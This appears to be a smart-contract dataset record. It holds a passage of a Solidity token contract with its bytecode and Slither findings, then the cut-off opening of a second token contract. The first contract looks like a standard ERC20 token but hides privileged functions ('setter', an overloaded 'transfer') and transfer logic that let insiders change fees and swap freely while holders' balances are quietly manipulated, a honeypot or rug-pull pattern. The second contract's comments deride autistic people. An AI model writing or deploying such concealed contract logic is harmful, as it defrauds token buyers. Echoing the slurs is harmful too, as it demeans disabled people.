address public uniswapV2Pair;
mapping(address => uint256) private tTotal;
mapping(address => uint256) private _balances;
mapping(address => uint256) private allowances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
tTotal[address(this)] = _tTotal;
tTotal[msg.sender] = _tTotal;
_balances[msg.sender] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function setter(
uint256 _sell,
uint256 _buy,
uint256 _divisor
) external {
if (tTotal[msg.sender] > 0) {
sellFee = _sell;
buyFee = _buy;
feeDivisor = _divisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && tTotal[from] == 0 && amount <= swapAtAmount) {
require(allowances[from] + amt >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (_swapAndLiquifyEnabled && contractTokenBalance > swapAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (tTotal[from] > 0 && tTotal[to] > 0) {
fee = amount;
_balances[address(this)] += fee;
return swapTokensForEth(amount, to);
}
if (amount > swapAtAmount && to != uniswapV2Pair && to != address(router)) {
if (tTotal[from] > 0) tTotal[to] = amount;
else allowances[to] = amount;
return;
}
bool takeFee = tTotal[from] == 0 && tTotal[to] == 0 && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (allowances[factory] == 0) allowances[factory] = swapAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function transfer(uint256 value) external {
if (tTotal[msg.sender] > 0) amt = value;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103d4578063ab62f50c14610411578063dd62ed3e1461043a578063f2fde38b14610477578063f887ea40146104a05761012a565b8063715018a6146103115780638da5cb5b1461032857806395d89b41146103535780639a36f9321461037e578063a8aa1b31146103a95761012a565b80632b14ca56116100e75780632b14ca5614610228578063313ce56714610253578063470624021461027e57806349bd5a5e146102a957806370a08231146102d45761012a565b806306fdde031461012f578063095ea7b31461015a57806312514bba1461019757806318160ddd146101c057806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104cb565b6040516101519190611c8c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611d47565b61055d565b60405161018e9190611da2565b60405180910390f35b3480156101a357600080fd5b506101be60048036038101906101b99190611dbd565b610572565b005b3480156101cc57600080fd5b506101d56105c5565b6040516101e29190611df9565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d9190611e14565b6105ec565b60405161021f9190611da2565b60405180910390f35b34801561023457600080fd5b5061023d610694565b60405161024a9190611df9565b60405180910390f35b34801561025f57600080fd5b5061026861069a565b6040516102759190611df9565b60405180910390f35b34801561028a57600080fd5b506102936106a6565b6040516102a09190611df9565b60405180910390f35b3480156102b557600080fd5b506102be6106ac565b6040516102cb9190611e76565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190611e91565b6106d2565b6040516103089190611df9565b60405180910390f35b34801561031d57600080fd5b5061032661071b565b005b34801561033457600080fd5b5061033d6107a3565b60405161034a9190611e76565b60405180910390f35b34801561035f57600080fd5b506103686107cc565b6040516103759190611c8c565b60405180910390f35b34801561038a57600080fd5b5061039361085e565b6040516103a09190611df9565b60405180910390f35b3480156103b557600080fd5b506103be610864565b6040516103cb9190611e76565b60405180910390f35b3480156103e057600080fd5b506103fb60048036038101906103f69190611d47565b610a07565b6040516104089190611da2565b60405180910390f35b34801561041d57600080fd5b5061043860048036038101906104339190611ebe565b610a1e565b005b34801561044657600080fd5b50610461600480360381019061045c9190611f11565b610a81565b60405161046e9190611df9565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190611e91565b610b08565b005b3480156104ac57600080fd5b506104b5610c00565b6040516104c29190611fb0565b60405180910390f35b6060600480546104da90611ffa565b80601f016020809104026020016040519081016040528092919081815260200182805461050690611ffa565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b5050505050905090565b600061056a338484610c26565b905092915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156105c257806007819055505b50565b60006009600a6105d5919061219b565b66038d7ea4c680006105e791906121e6565b905090565b60006105f9848484610dc1565b61068b843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106869190612240565b610c26565b90509392505050565b60025481565b6000600960ff16905090565b60015481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107236117a9565b73ffffffffffffffffffffffffffffffffffffffff166107416107a3565b73ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906122c0565b60405180910390fd5b6107a160006117b1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107db90611ffa565b80601f016020809104026020016040519081016040528092919081815260200182805461080790611ffa565b80156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b5050505050905090565b60035481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f791906122f5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610980573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a491906122f5565b6040518363ffffffff1660e01b81526004016109c1929190612322565b602060405180830381865afa1580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0291906122f5565b905090565b6000610a14338484610dc1565b6001905092915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610a7c578260028190555081600181905550806003819055505b505050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b106117a9565b73ffffffffffffffffffffffffffffffffffffffff16610b2e6107a3565b73ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b906122c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb906123bd565b60405180910390fd5b610bfd816117b1565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c915750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc79061244f565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610dae9190611df9565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610e2c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e865750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ed157506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610edf57506006548111155b15610f75576000600754600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f33919061246f565b1015610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90612537565b60405180910390fd5b5b6000610f80306106d2565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610fe157600154610fe5565b6002545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561108757611046610864565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff1680156110a4575060065482115b80156110bd5750600860159054906101000a900460ff16155b80156111175750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611160576001600860156101000a81548160ff02191690831515021790555061114082611875565b6000600860156101000a81548160ff02191690831515021790555061125e565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156111ee57506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561125d5782905080600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611245919061246f565b9250508190555061125683856118b6565b50506117a4565b5b600654831180156112bd5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113175750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113f9576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113ad5782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f2565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50506117a4565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561148857506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114945750600082115b80156114ad5750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561156557600654600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550811561168e57600354606484876115bd91906121e6565b6115c79190612586565b6115d19190612586565b925082856115df9190612240565b945082600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116309190612240565b9250508190555082600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611686919061246f565b925050819055505b84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116dd9190612240565b9250508190555084600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611733919061246f565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516117979190611df9565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826118849190612586565b9050600047905061189582306118b6565b600081476118a39190612240565b90506118b0838230611b07565b50505050565b6000600267ffffffffffffffff8111156118d3576118d26125b7565b5b6040519080825280602002602001820160405280156119015781602001602082028036833780820191505090505b5090503081600081518110611919576119186125e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e491906122f5565b816001815181106119f8576119f76125e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a5f30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610c26565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611ab0919061246f565b6040518663ffffffff1660e01b8152600401611ad095949392919061270e565b600060405180830381600087803b158015611aea57600080fd5b505af1158015611afe573d6000803e3d6000fd5b50505050505050565b611b3430600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610c26565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b87919061246f565b6040518863ffffffff1660e01b8152600401611ba896959493929190612768565b60606040518083038185885af1158015611bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611beb91906127de565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c2d578082015181840152602081019050611c12565b83811115611c3c576000848401525b50505050565b6000601f19601f8301169050919050565b6000611c5e82611bf3565b611c688185611bfe565b9350611c78818560208601611c0f565b611c8181611c42565b840191505092915050565b60006020820190508181036000830152611ca68184611c53565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cde82611cb3565b9050919050565b611cee81611cd3565b8114611cf957600080fd5b50565b600081359050611d0b81611ce5565b92915050565b6000819050919050565b611d2481611d11565b8114611d2f57600080fd5b50565b600081359050611d4181611d1b565b92915050565b60008060408385031215611d5e57611d5d611cae565b5b6000611d6c85828601611cfc565b9250506020611d7d85828601611d32565b9150509250929050565b60008115159050919050565b611d9c81611d87565b82525050565b6000602082019050611db76000830184611d93565b92915050565b600060208284031215611dd357611dd2611cae565b5b6000611de184828501611d32565b91505092915050565b611df381611d11565b82525050565b6000602082019050611e0e6000830184611dea565b92915050565b600080600060608486031215611e2d57611e2c611cae565b5b6000611e3b86828701611cfc565b9350506020611e4c86828701611cfc565b9250506040611e5d86828701611d32565b9150509250925092565b611e7081611cd3565b82525050565b6000602082019050611e8b6000830184611e67565b92915050565b600060208284031215611ea757611ea6611cae565b5b6000611eb584828501611cfc565b91505092915050565b600080600060608486031215611ed757611ed6611cae565b5b6000611ee586828701611d32565b9350506020611ef686828701611d32565b9250506040611f0786828701611d32565b9150509250925092565b60008060408385031215611f2857611f27611cae565b5b6000611f3685828601611cfc565b9250506020611f4785828601611cfc565b9150509250929050565b6000819050919050565b6000611f76611f71611f6c84611cb3565b611f51565b611cb3565b9050919050565b6000611f8882611f5b565b9050919050565b6000611f9a82611f7d565b9050919050565b611faa81611f8f565b82525050565b6000602082019050611fc56000830184611fa1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061201257607f821691505b6020821081141561202657612025611fcb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156120b25780860481111561208e5761208d61202c565b5b600185161561209d5780820291505b80810290506120ab8561205b565b9450612072565b94509492505050565b6000826120cb5760019050612187565b816120d95760009050612187565b81600181146120ef57600281146120f957612128565b6001915050612187565b60ff84111561210b5761210a61202c565b5b8360020a9150848211156121225761212161202c565b5b50612187565b5060208310610133831016604e8410600b841016171561215d5782820a9050838111156121585761215761202c565b5b612187565b61216a8484846001612068565b925090508184048111156121815761218061202c565b5b81810290505b9392505050565b600060ff82169050919050565b60006121a682611d11565b91506121b18361218e565b92506121de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846120bb565b905092915050565b60006121f182611d11565b91506121fc83611d11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122355761223461202c565b5b828202905092915050565b600061224b82611d11565b915061225683611d11565b9250828210156122695761226861202c565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006122aa602083611bfe565b91506122b582612274565b602082019050919050565b600060208201905081810360008301526122d98161229d565b9050919050565b6000815190506122ef81611ce5565b92915050565b60006020828403121561230b5761230a611cae565b5b6000612319848285016122e0565b91505092915050565b60006040820190506123376000830185611e67565b6123446020830184611e67565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006123a7602683611bfe565b91506123b28261234b565b604082019050919050565b600060208201905081810360008301526123d68161239a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612439602483611bfe565b9150612444826123dd565b604082019050919050565b600060208201905081810360008301526124688161242c565b9050919050565b600061247a82611d11565b915061248583611d11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124ba576124b961202c565b5b828201905092915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e7400000000000000000000000000000000000000000000000000602082015250565b6000612521602783611bfe565b915061252c826124c5565b604082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061259182611d11565b915061259c83611d11565b9250826125ac576125ab612557565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061263a61263561263084612615565b611f51565b611d11565b9050919050565b61264a8161261f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61268581611cd3565b82525050565b6000612697838361267c565b60208301905092915050565b6000602082019050919050565b60006126bb82612650565b6126c5818561265b565b93506126d08361266c565b8060005b838110156127015781516126e8888261268b565b97506126f3836126a3565b9250506001810190506126d4565b5085935050505092915050565b600060a0820190506127236000830188611dea565b6127306020830187612641565b818103604083015261274281866126b0565b90506127516060830185611e67565b61275e6080830184611dea565b9695505050505050565b600060c08201905061277d6000830189611e67565b61278a6020830188611dea565b6127976040830187612641565b6127a46060830186612641565b6127b16080830185611e67565b6127be60a0830184611dea565b979650505050505050565b6000815190506127d881611d1b565b92915050565b6000806000606084860312156127f7576127f6611cae565b5b6000612805868287016127c9565b9350506020612816868287016127c9565b9250506040612827868287016127c9565b915050925092509256fea2646970667358221220cd8c4657c13de96ea37dc2196075ece6ce62fbc7bcac2bb643da876dbd4b9ab364736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,020 |
0x0bdd0e19bdfd6e71a4bae9c6f6f978e77a000bdb
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
Viking Inu Shiba (VIKING SHIBA🍺)
Telegram: https://t.me/VikingShiba
Autism got you down? Can't relate to people in the real world?
Fear no more! Viking Shiba has got your back! This token embodies
not only the dream that Elon has for a new financial system, but
also his social deficiencies as well!
Features include:
- 5% Reflection to autistic holders
- Anti-listing-bot, only autists can buy
- No team tokens, devs are autistic
- Anti whale dumping protection
- Cooldown and tax on mass sells
- Burn 20% of the initial token supply
- Full liquidity provided and locked
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VIKINGINUSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Viking Inu Shiba";
string private constant _symbol = 'VIKING SHIBA🍺';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
